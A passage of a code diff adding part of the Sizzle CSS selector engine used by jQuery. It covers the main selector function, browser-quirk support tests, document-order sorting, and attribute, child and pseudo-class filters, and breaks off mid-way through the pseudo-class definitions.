+} catch ( e ) {
+	push = { apply: arr.length ?
+
+		// Leverage slice if possible
+		function( target, els ) {
+			push_native.apply( target, slice.call(els) );
+		} :
+
+		// Support: IE<9
+		// Otherwise append directly
+		function( target, els ) {
+			var j = target.length,
+				i = 0;
+			// Can't trust NodeList.length
+			while ( (target[j++] = els[i++]) ) {}
+			target.length = j - 1;
+		}
+	};
+}
+
+function Sizzle( selector, context, results, seed ) {
+	var match, elem, m, nodeType,
+		// QSA vars
+		i, groups, old, nid, newContext, newSelector;
+
+	if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
+		setDocument( context );
+	}
+
+	context = context || document;
+	results = results || [];
+	nodeType = context.nodeType;
+
+	if ( typeof selector !== "string" || !selector ||
+		nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {
+
+		return results;
+	}
+
+	if ( !seed && documentIsHTML ) {
+
+		// Try to shortcut find operations when possible (e.g., not under DocumentFragment)
+		if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {
+			// Speed-up: Sizzle("#ID")
+			if ( (m = match[1]) ) {
+				if ( nodeType === 9 ) {
+					elem = context.getElementById( m );
+					// Check parentNode to catch when Blackberry 4.6 returns
+					// nodes that are no longer in the document (jQuery #6963)
+					if ( elem && elem.parentNode ) {
+						// Handle the case where IE, Opera, and Webkit return items
+						// by name instead of ID
+						if ( elem.id === m ) {
+							results.push( elem );
+							return results;
+						}
+					} else {
+						return results;
+					}
+				} else {
+					// Context is not a document
+					if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
+						contains( context, elem ) && elem.id === m ) {
+						results.push( elem );
+						return results;
+					}
+				}
+
+			// Speed-up: Sizzle("TAG")
+			} else if ( match[2] ) {
+				push.apply( results, context.getElementsByTagName( selector ) );
+				return results;
+
+			// Speed-up: Sizzle(".CLASS")
+			} else if ( (m = match[3]) && support.getElementsByClassName ) {
+				push.apply( results, context.getElementsByClassName( m ) );
+				return results;
+			}
+		}
+
+		// QSA path
+		if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
+			nid = old = expando;
+			newContext = context;
+			newSelector = nodeType !== 1 && selector;
+
+			// qSA works strangely on Element-rooted queries
+			// We can work around this by specifying an extra ID on the root
+			// and working up from there (Thanks to Andrew Dupont for the technique)
+			// IE 8 doesn't work on object elements
+			if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+				groups = tokenize( selector );
+
+				if ( (old = context.getAttribute("id")) ) {
+					nid = old.replace( rescape, "\\$&" );
+				} else {
+					context.setAttribute( "id", nid );
+				}
+				nid = "[id='" + nid + "'] ";
+
+				i = groups.length;
+				while ( i-- ) {
+					groups[i] = nid + toSelector( groups[i] );
+				}
+				newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;
+				newSelector = groups.join(",");
+			}
+
+			if ( newSelector ) {
+				try {
+					push.apply( results,
+						newContext.querySelectorAll( newSelector )
+					);
+					return results;
+				} catch(qsaError) {
+				} finally {
+					if ( !old ) {
+						context.removeAttribute("id");
+					}
+				}
+			}
+		}
+	}
+
+	// All others
+	return select( selector.replace( rtrim, "$1" ), context, results, seed );
+}
+
+/**
+ * Create key-value caches of limited size
+ * @returns {Function(string, Object)} Returns the Object data after storing it on itself with
+ *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
+ *	deleting the oldest entry
+ */
+function createCache() {
+	var keys = [];
+
+	function cache( key, value ) {
+		// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
+		if ( keys.push( key + " " ) > Expr.cacheLength ) {
+			// Only keep the most recent entries
+			delete cache[ keys.shift() ];
+		}
+		return (cache[ key + " " ] = value);
+	}
+	return cache;
+}
+
+/**
+ * Mark a function for special use by Sizzle
+ * @param {Function} fn The function to mark
+ */
+function markFunction( fn ) {
+	fn[ expando ] = true;
+	return fn;
+}
+
+/**
+ * Support testing using an element
+ * @param {Function} fn Passed the created div and expects a boolean result
+ */
+function assert( fn ) {
+	var div = document.createElement("div");
+
+	try {
+		return !!fn( div );
+	} catch (e) {
+		return false;
+	} finally {
+		// Remove from its parent by default
+		if ( div.parentNode ) {
+			div.parentNode.removeChild( div );
+		}
+		// release memory in IE
+		div = null;
+	}
+}
+
+/**
+ * Adds the same handler for all of the specified attrs
+ * @param {String} attrs Pipe-separated list of attributes
+ * @param {Function} handler The method that will be applied
+ */
+function addHandle( attrs, handler ) {
+	var arr = attrs.split("|"),
+		i = attrs.length;
+
+	while ( i-- ) {
+		Expr.attrHandle[ arr[i] ] = handler;
+	}
+}
+
+/**
+ * Checks document order of two siblings
+ * @param {Element} a
+ * @param {Element} b
+ * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
+ */
+function siblingCheck( a, b ) {
+	var cur = b && a,
+		diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
+			( ~b.sourceIndex || MAX_NEGATIVE ) -
+			( ~a.sourceIndex || MAX_NEGATIVE );
+
+	// Use IE sourceIndex if available on both nodes
+	if ( diff ) {
+		return diff;
+	}
+
+	// Check if b follows a
+	if ( cur ) {
+		while ( (cur = cur.nextSibling) ) {
+			if ( cur === b ) {
+				return -1;
+			}
+		}
+	}
+
+	return a ? 1 : -1;
+}
+
+/**
+ * Returns a function to use in pseudos for input types
+ * @param {String} type
+ */
+function createInputPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return name === "input" && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for buttons
+ * @param {String} type
+ */
+function createButtonPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return (name === "input" || name === "button") && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for positionals
+ * @param {Function} fn
+ */
+function createPositionalPseudo( fn ) {
+	return markFunction(function( argument ) {
+		argument = +argument;
+		return markFunction(function( seed, matches ) {
+			var j,
+				matchIndexes = fn( [], seed.length, argument ),
+				i = matchIndexes.length;
+
+			// Match elements found at the specified indexes
+			while ( i-- ) {
+				if ( seed[ (j = matchIndexes[i]) ] ) {
+					seed[j] = !(matches[j] = seed[j]);
+				}
+			}
+		});
+	});
+}
+
+/**
+ * Checks a node for validity as a Sizzle context
+ * @param {Element|Object=} context
+ * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
+ */
+function testContext( context ) {
+	return context && typeof context.getElementsByTagName !== "undefined" && context;
+}
+
+// Expose support vars for convenience
+support = Sizzle.support = {};
+
+/**
+ * Detects XML nodes
+ * @param {Element|Object} elem An element or a document
+ * @returns {Boolean} True iff elem is a non-HTML XML node
+ */
+isXML = Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = elem && (elem.ownerDocument || elem).documentElement;
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+/**
+ * Sets document-related variables once based on the current document
+ * @param {Element|Object} [doc] An element or document object to use to set the document
+ * @returns {Object} Returns the current document
+ */
+setDocument = Sizzle.setDocument = function( node ) {
+	var hasCompare, parent,
+		doc = node ? node.ownerDocument || node : preferredDoc;
+
+	// If no document and documentElement is available, return
+	if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
+		return document;
+	}
+
+	// Set our document
+	document = doc;
+	docElem = doc.documentElement;
+	parent = doc.defaultView;
+
+	// Support: IE>8
+	// If iframe document is assigned to "document" variable and if iframe has been reloaded,
+	// IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936
+	// IE6-8 do not support the defaultView property so parent will be undefined
+	if ( parent && parent !== parent.top ) {
+		// IE11 does not have attachEvent, so all must suffer
+		if ( parent.addEventListener ) {
+			parent.addEventListener( "unload", unloadHandler, false );
+		} else if ( parent.attachEvent ) {
+			parent.attachEvent( "onunload", unloadHandler );
+		}
+	}
+
+	/* Support tests
+	---------------------------------------------------------------------- */
+	documentIsHTML = !isXML( doc );
+
+	/* Attributes
+	---------------------------------------------------------------------- */
+
+	// Support: IE<8
+	// Verify that getAttribute really returns attributes and not properties
+	// (excepting IE8 booleans)
+	support.attributes = assert(function( div ) {
+		div.className = "i";
+		return !div.getAttribute("className");
+	});
+
+	/* getElement(s)By*
+	---------------------------------------------------------------------- */
+
+	// Check if getElementsByTagName("*") returns only elements
+	support.getElementsByTagName = assert(function( div ) {
+		div.appendChild( doc.createComment("") );
+		return !div.getElementsByTagName("*").length;
+	});
+
+	// Support: IE<9
+	support.getElementsByClassName = rnative.test( doc.getElementsByClassName );
+
+	// Support: IE<10
+	// Check if getElementById returns elements by name
+	// The broken getElementById methods don't pick up programatically-set names,
+	// so use a roundabout getElementsByName test
+	support.getById = assert(function( div ) {
+		docElem.appendChild( div ).id = expando;
+		return !doc.getElementsByName || !doc.getElementsByName( expando ).length;
+	});
+
+	// ID find and filter
+	if ( support.getById ) {
+		Expr.find["ID"] = function( id, context ) {
+			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
+				var m = context.getElementById( id );
+				// Check parentNode to catch when Blackberry 4.6 returns
+				// nodes that are no longer in the document #6963
+				return m && m.parentNode ? [ m ] : [];
+			}
+		};
+		Expr.filter["ID"] = function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				return elem.getAttribute("id") === attrId;
+			};
+		};
+	} else {
+		// Support: IE6/7
+		// getElementById is not reliable as a find shortcut
+		delete Expr.find["ID"];
+
+		Expr.filter["ID"] =  function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+				return node && node.value === attrId;
+			};
+		};
+	}
+
+	// Tag
+	Expr.find["TAG"] = support.getElementsByTagName ?
+		function( tag, context ) {
+			if ( typeof context.getElementsByTagName !== "undefined" ) {
+				return context.getElementsByTagName( tag );
+
+			// DocumentFragment nodes don't have gEBTN
+			} else if ( support.qsa ) {
+				return context.querySelectorAll( tag );
+			}
+		} :
+
+		function( tag, context ) {
+			var elem,
+				tmp = [],
+				i = 0,
+				// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too
+				results = context.getElementsByTagName( tag );
+
+			// Filter out possible comments
+			if ( tag === "*" ) {
+				while ( (elem = results[i++]) ) {
+					if ( elem.nodeType === 1 ) {
+						tmp.push( elem );
+					}
+				}
+
+				return tmp;
+			}
+			return results;
+		};
+
+	// Class
+	Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
+		if ( documentIsHTML ) {
+			return context.getElementsByClassName( className );
+		}
+	};
+
+	/* QSA/matchesSelector
+	---------------------------------------------------------------------- */
+
+	// QSA and matchesSelector support
+
+	// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
+	rbuggyMatches = [];
+
+	// qSa(:focus) reports false when true (Chrome 21)
+	// We allow this because of a bug in IE8/9 that throws an error
+	// whenever `document.activeElement` is accessed on an iframe
+	// So, we allow :focus to pass through QSA all the time to avoid the IE error
+	// See http://bugs.jquery.com/ticket/13378
+	rbuggyQSA = [];
+
+	if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {
+		// Build QSA regex
+		// Regex strategy adopted from Diego Perini
+		assert(function( div ) {
+			// Select is set to empty string on purpose
+			// This is to test IE's treatment of not explicitly
+			// setting a boolean content attribute,
+			// since its presence should be enough
+			// http://bugs.jquery.com/ticket/12359
+			docElem.appendChild( div ).innerHTML = "<a id='" + expando + "'></a>" +
+				"<select id='" + expando + "-\f]' msallowcapture=''>" +
+				"<option selected=''></option></select>";
+
+			// Support: IE8, Opera 11-12.16
+			// Nothing should be selected when empty strings follow ^= or $= or *=
+			// The test attribute must be unknown in Opera but "safe" for WinRT
+			// http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
+			if ( div.querySelectorAll("[msallowcapture^='']").length ) {
+				rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
+			}
+
+			// Support: IE8
+			// Boolean attributes and "value" are not treated correctly
+			if ( !div.querySelectorAll("[selected]").length ) {
+				rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
+			}
+
+			// Support: Chrome<29, Android<4.2+, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.7+
+			if ( !div.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
+				rbuggyQSA.push("~=");
+			}
+
+			// Webkit/Opera - :checked should return selected option elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":checked").length ) {
+				rbuggyQSA.push(":checked");
+			}
+
+			// Support: Safari 8+, iOS 8+
+			// https://bugs.webkit.org/show_bug.cgi?id=136851
+			// In-page `selector#id sibing-combinator selector` fails
+			if ( !div.querySelectorAll( "a#" + expando + "+*" ).length ) {
+				rbuggyQSA.push(".#.+[+~]");
+			}
+		});
+
+		assert(function( div ) {
+			// Support: Windows 8 Native Apps
+			// The type and name attributes are restricted during .innerHTML assignment
+			var input = doc.createElement("input");
+			input.setAttribute( "type", "hidden" );
+			div.appendChild( input ).setAttribute( "name", "D" );
+
+			// Support: IE8
+			// Enforce case-sensitivity of name attribute
+			if ( div.querySelectorAll("[name=d]").length ) {
+				rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
+			}
+
+			// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":enabled").length ) {
+				rbuggyQSA.push( ":enabled", ":disabled" );
+			}
+
+			// Opera 10-11 does not throw on post-comma invalid pseudos
+			div.querySelectorAll("*,:x");
+			rbuggyQSA.push(",.*:");
+		});
+	}
+
+	if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||
+		docElem.webkitMatchesSelector ||
+		docElem.mozMatchesSelector ||
+		docElem.oMatchesSelector ||
+		docElem.msMatchesSelector) )) ) {
+
+		assert(function( div ) {
+			// Check to see if it's possible to do matchesSelector
+			// on a disconnected node (IE 9)
+			support.disconnectedMatch = matches.call( div, "div" );
+
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( div, "[s!='']:x" );
+			rbuggyMatches.push( "!=", pseudos );
+		});
+	}
+
+	rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
+	rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
+
+	/* Contains
+	---------------------------------------------------------------------- */
+	hasCompare = rnative.test( docElem.compareDocumentPosition );
+
+	// Element contains another
+	// Purposefully does not implement inclusive descendent
+	// As in, an element does not contain itself
+	contains = hasCompare || rnative.test( docElem.contains ) ?
+		function( a, b ) {
+			var adown = a.nodeType === 9 ? a.documentElement : a,
+				bup = b && b.parentNode;
+			return a === bup || !!( bup && bup.nodeType === 1 && (
+				adown.contains ?
+					adown.contains( bup ) :
+					a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
+			));
+		} :
+		function( a, b ) {
+			if ( b ) {
+				while ( (b = b.parentNode) ) {
+					if ( b === a ) {
+						return true;
+					}
+				}
+			}
+			return false;
+		};
+
+	/* Sorting
+	---------------------------------------------------------------------- */
+
+	// Document order sorting
+	sortOrder = hasCompare ?
+	function( a, b ) {
+
+		// Flag for duplicate removal
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		// Sort on method existence if only one input has compareDocumentPosition
+		var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
+		if ( compare ) {
+			return compare;
+		}
+
+		// Calculate position if both inputs belong to the same document
+		compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
+			a.compareDocumentPosition( b ) :
+
+			// Otherwise we know they are disconnected
+			1;
+
+		// Disconnected nodes
+		if ( compare & 1 ||
+			(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
+
+			// Choose the first element that is related to our preferred document
+			if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
+				return -1;
+			}
+			if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
+				return 1;
+			}
+
+			// Maintain original order
+			return sortInput ?
+				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
+				0;
+		}
+
+		return compare & 4 ? -1 : 1;
+	} :
+	function( a, b ) {
+		// Exit early if the nodes are identical
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		var cur,
+			i = 0,
+			aup = a.parentNode,
+			bup = b.parentNode,
+			ap = [ a ],
+			bp = [ b ];
+
+		// Parentless nodes are either documents or disconnected
+		if ( !aup || !bup ) {
+			return a === doc ? -1 :
+				b === doc ? 1 :
+				aup ? -1 :
+				bup ? 1 :
+				sortInput ?
+				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
+				0;
+
+		// If the nodes are siblings, we can do a quick check
+		} else if ( aup === bup ) {
+			return siblingCheck( a, b );
+		}
+
+		// Otherwise we need full lists of their ancestors for comparison
+		cur = a;
+		while ( (cur = cur.parentNode) ) {
+			ap.unshift( cur );
+		}
+		cur = b;
+		while ( (cur = cur.parentNode) ) {
+			bp.unshift( cur );
+		}
+
+		// Walk down the tree looking for a discrepancy
+		while ( ap[i] === bp[i] ) {
+			i++;
+		}
+
+		return i ?
+			// Do a sibling check if the nodes have a common ancestor
+			siblingCheck( ap[i], bp[i] ) :
+
+			// Otherwise nodes in our document sort first
+			ap[i] === preferredDoc ? -1 :
+			bp[i] === preferredDoc ? 1 :
+			0;
+	};
+
+	return doc;
+};
+
+Sizzle.matches = function( expr, elements ) {
+	return Sizzle( expr, null, null, elements );
+};
+
+Sizzle.matchesSelector = function( elem, expr ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	// Make sure that attribute selectors are quoted
+	expr = expr.replace( rattributeQuotes, "='$1']" );
+
+	if ( support.matchesSelector && documentIsHTML &&
+		( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
+		( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {
+
+		try {
+			var ret = matches.call( elem, expr );
+
+			// IE 9's matchesSelector returns false on disconnected nodes
+			if ( ret || support.disconnectedMatch ||
+					// As well, disconnected nodes are said to be in a document
+					// fragment in IE 9
+					elem.document && elem.document.nodeType !== 11 ) {
+				return ret;
+			}
+		} catch (e) {}
+	}
+
+	return Sizzle( expr, document, null, [ elem ] ).length > 0;
+};
+
+Sizzle.contains = function( context, elem ) {
+	// Set document vars if needed
+	if ( ( context.ownerDocument || context ) !== document ) {
+		setDocument( context );
+	}
+	return contains( context, elem );
+};
+
+Sizzle.attr = function( elem, name ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	var fn = Expr.attrHandle[ name.toLowerCase() ],
+		// Don't get fooled by Object.prototype properties (jQuery #13807)
+		val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
+			fn( elem, name, !documentIsHTML ) :
+			undefined;
+
+	return val !== undefined ?
+		val :
+		support.attributes || !documentIsHTML ?
+			elem.getAttribute( name ) :
+			(val = elem.getAttributeNode(name)) && val.specified ?
+				val.value :
+				null;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Document sorting and removing duplicates
+ * @param {ArrayLike} results
+ */
+Sizzle.uniqueSort = function( results ) {
+	var elem,
+		duplicates = [],
+		j = 0,
+		i = 0;
+
+	// Unless we *know* we can detect duplicates, assume their presence
+	hasDuplicate = !support.detectDuplicates;
+	sortInput = !support.sortStable && results.slice( 0 );
+	results.sort( sortOrder );
+
+	if ( hasDuplicate ) {
+		while ( (elem = results[i++]) ) {
+			if ( elem === results[ i ] ) {
+				j = duplicates.push( i );
+			}
+		}
+		while ( j-- ) {
+			results.splice( duplicates[ j ], 1 );
+		}
+	}
+
+	// Clear input after sorting to release objects
+	// See https://github.com/jquery/sizzle/pull/225
+	sortInput = null;
+
+	return results;
+};
+
+/**
+ * Utility function for retrieving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+getText = Sizzle.getText = function( elem ) {
+	var node,
+		ret = "",
+		i = 0,
+		nodeType = elem.nodeType;
+
+	if ( !nodeType ) {
+		// If no nodeType, this is expected to be an array
+		while ( (node = elem[i++]) ) {
+			// Do not traverse comment nodes
+			ret += getText( node );
+		}
+	} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+		// Use textContent for elements
+		// innerText usage removed for consistency of new lines (jQuery #11153)
+		if ( typeof elem.textContent === "string" ) {
+			return elem.textContent;
+		} else {
+			// Traverse its children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				ret += getText( elem );
+			}
+		}
+	} else if ( nodeType === 3 || nodeType === 4 ) {
+		return elem.nodeValue;
+	}
+	// Do not include comment or processing instruction nodes
+
+	return ret;
+};
+
+Expr = Sizzle.selectors = {
+
+	// Can be adjusted by the user
+	cacheLength: 50,
+
+	createPseudo: markFunction,
+
+	match: matchExpr,
+
+	attrHandle: {},
+
+	find: {},
+
+	relative: {
+		">": { dir: "parentNode", first: true },
+		" ": { dir: "parentNode" },
+		"+": { dir: "previousSibling", first: true },
+		"~": { dir: "previousSibling" }
+	},
+
+	preFilter: {
+		"ATTR": function( match ) {
+			match[1] = match[1].replace( runescape, funescape );
+
+			// Move the given value to match[3] whether quoted or unquoted
+			match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape );
+
+			if ( match[2] === "~=" ) {
+				match[3] = " " + match[3] + " ";
+			}
+
+			return match.slice( 0, 4 );
+		},
+
+		"CHILD": function( match ) {
+			/* matches from matchExpr["CHILD"]
+				1 type (only|nth|...)
+				2 what (child|of-type)
+				3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
+				4 xn-component of xn+y argument ([+-]?\d*n|)
+				5 sign of xn-component
+				6 x of xn-component
+				7 sign of y-component
+				8 y of y-component
+			*/
+			match[1] = match[1].toLowerCase();
+
+			if ( match[1].slice( 0, 3 ) === "nth" ) {
+				// nth-* requires argument
+				if ( !match[3] ) {
+					Sizzle.error( match[0] );
+				}
+
+				// numeric x and y parameters for Expr.filter.CHILD
+				// remember that false/true cast respectively to 0/1
+				match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
+				match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
+
+			// other types prohibit arguments
+			} else if ( match[3] ) {
+				Sizzle.error( match[0] );
+			}
+
+			return match;
+		},
+
+		"PSEUDO": function( match ) {
+			var excess,
+				unquoted = !match[6] && match[2];
+
+			if ( matchExpr["CHILD"].test( match[0] ) ) {
+				return null;
+			}
+
+			// Accept quoted arguments as-is
+			if ( match[3] ) {
+				match[2] = match[4] || match[5] || "";
+
+			// Strip excess characters from unquoted arguments
+			} else if ( unquoted && rpseudo.test( unquoted ) &&
+				// Get excess from tokenize (recursively)
+				(excess = tokenize( unquoted, true )) &&
+				// advance to the next closing parenthesis
+				(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
+
+				// excess is a negative index
+				match[0] = match[0].slice( 0, excess );
+				match[2] = unquoted.slice( 0, excess );
+			}
+
+			// Return only captures needed by the pseudo filter method (type and argument)
+			return match.slice( 0, 3 );
+		}
+	},
+
+	filter: {
+
+		"TAG": function( nodeNameSelector ) {
+			var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
+			return nodeNameSelector === "*" ?
+				function() { return true; } :
+				function( elem ) {
+					return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
+				};
+		},
+
+		"CLASS": function( className ) {
+			var pattern = classCache[ className + " " ];
+
+			return pattern ||
+				(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
+				classCache( className, function( elem ) {
+					return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" );
+				});
+		},
+
+		"ATTR": function( name, operator, check ) {
+			return function( elem ) {
+				var result = Sizzle.attr( elem, name );
+
+				if ( result == null ) {
+					return operator === "!=";
+				}
+				if ( !operator ) {
+					return true;
+				}
+
+				result += "";
+
+				return operator === "=" ? result === check :
+					operator === "!=" ? result !== check :
+					operator === "^=" ? check && result.indexOf( check ) === 0 :
+					operator === "*=" ? check && result.indexOf( check ) > -1 :
+					operator === "$=" ? check && result.slice( -check.length ) === check :
+					operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 :
+					operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
+					false;
+			};
+		},
+
+		"CHILD": function( type, what, argument, first, last ) {
+			var simple = type.slice( 0, 3 ) !== "nth",
+				forward = type.slice( -4 ) !== "last",
+				ofType = what === "of-type";
+
+			return first === 1 && last === 0 ?
+
+				// Shortcut for :nth-*(n)
+				function( elem ) {
+					return !!elem.parentNode;
+				} :
+
+				function( elem, context, xml ) {
+					var cache, outerCache, node, diff, nodeIndex, start,
+						dir = simple !== forward ? "nextSibling" : "previousSibling",
+						parent = elem.parentNode,
+						name = ofType && elem.nodeName.toLowerCase(),
+						useCache = !xml && !ofType;
+
+					if ( parent ) {
+
+						// :(first|last|only)-(child|of-type)
+						if ( simple ) {
+							while ( dir ) {
+								node = elem;
+								while ( (node = node[ dir ]) ) {
+									if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
+										return false;
+									}
+								}
+								// Reverse direction for :only-* (if we haven't yet done so)
+								start = dir = type === "only" && !start && "nextSibling";
+							}
+							return true;
+						}
+
+						start = [ forward ? parent.firstChild : parent.lastChild ];
+
+						// non-xml :nth-child(...) stores cache data on `parent`
+						if ( forward && useCache ) {
+							// Seek `elem` from a previously-cached index
+							outerCache = parent[ expando ] || (parent[ expando ] = {});
+							cache = outerCache[ type ] || [];
+							nodeIndex = cache[0] === dirruns && cache[1];
+							diff = cache[0] === dirruns && cache[2];
+							node = nodeIndex && parent.childNodes[ nodeIndex ];
+
+							while ( (node = ++nodeIndex && node && node[ dir ] ||
+
+								// Fallback to seeking `elem` from the start
+								(diff = nodeIndex = 0) || start.pop()) ) {
+
+								// When found, cache indexes on `parent` and break
+								if ( node.nodeType === 1 && ++diff && node === elem ) {
+									outerCache[ type ] = [ dirruns, nodeIndex, diff ];
+									break;
+								}
+							}
+
+						// Use previously-cached element index if available
+						} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
+							diff = cache[1];
+
+						// xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)
+						} else {
+							// Use the same loop as above to seek `elem` from the start
+							while ( (node = ++nodeIndex && node && node[ dir ] ||
+								(diff = nodeIndex = 0) || start.pop()) ) {
+
+								if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
+									// Cache the index of each encountered element
+									if ( useCache ) {
+										(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
+									}
+
+									if ( node === elem ) {
+										break;
+									}
+								}
+							}
+						}
+
+						// Incorporate the offset, then check against cycle size
+						diff -= last;
+						return diff === first || ( diff % first === 0 && diff / first >= 0 );
+					}
+				};
+		},
+
+		"PSEUDO": function( pseudo, argument ) {
+			// pseudo-class names are case-insensitive
+			// http://www.w3.org/TR/selectors/#pseudo-classes
+			// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
+			// Remember that setFilters inherits from pseudos
+			var args,
+				fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
+					Sizzle.error( "unsupported pseudo: " + pseudo );
+
+			// The user may use createPseudo to indicate that
+			// arguments are needed to create the filter function
+			// just as Sizzle does
+			if ( fn[ expando ] ) {
+				return fn( argument );
+			}
+
+			// But maintain support for old signatures
+			if ( fn.length > 1 ) {
+				args = [ pseudo, pseudo, "", argument ];
+				return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
+					markFunction(function( seed, matches ) {
+						var idx,
+							matched = fn( seed, argument ),
+							i = matched.length;
+						while ( i-- ) {
+							idx = indexOf( seed, matched[i] );
+							seed[ idx ] = !( matches[ idx ] = matched[i] );
+						}
+					}) :
+					function( elem ) {
+						return fn( elem, 0, args );
+					};
+			}
+
+			return fn;
+		}
+	},
+
+	pseudos: {
+		// Potentially complex pseudos
+		"not": markFunction(function( selector ) {
+			// Trim the selector passed to compile
+			// to avoid treating leading and trailing
+			// spaces as combinators
+			var input = [],
+				results = [],
+				matcher = compile( selector.replace( rtrim, "$1" ) );
+
+			return matcher[ expando ] ?
+				markFunction(function( seed, matches, context, xml ) {
+					var elem,
+						unmatched = matcher( seed, null, xml, [] ),
+						i = seed.length;
+
+					// Match elements unmatched by `matcher`
+					while ( i-- ) {
+						if ( (elem = unmatched[i]) ) {
+							seed[i] = !(matches[i] = elem);
+						}
+					}
+				}) :
+				function( elem, context, xml ) {
+					input[0] = elem;
+					matcher( input, null, xml, results );
+					// Don't keep the element (issue #299)
+					input[0] = null;
+					return !results.pop();
+				};
+		}),
+
+		"has": markFunction(function( selector ) {
+			return function( elem ) {
+				return Sizzle( selector, elem ).length > 0;
+			};
+		}),
+
+		"contains": markFunction(function( text ) {
+			text = text.replace( runescape, funescape );
+			return function( elem ) {
+				return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
+			};
+		}),
+
+		// "Whether an element is represented by a :lang() selector
+		// is based solely on the element's language value
+		// being equal to the identifier C,
+		// or beginning with the identifier C immediately followed by "-".
+		// The matching of C against the element's language value is performed case-insensitively.
+		// The identifier C does not have to be a valid language name."
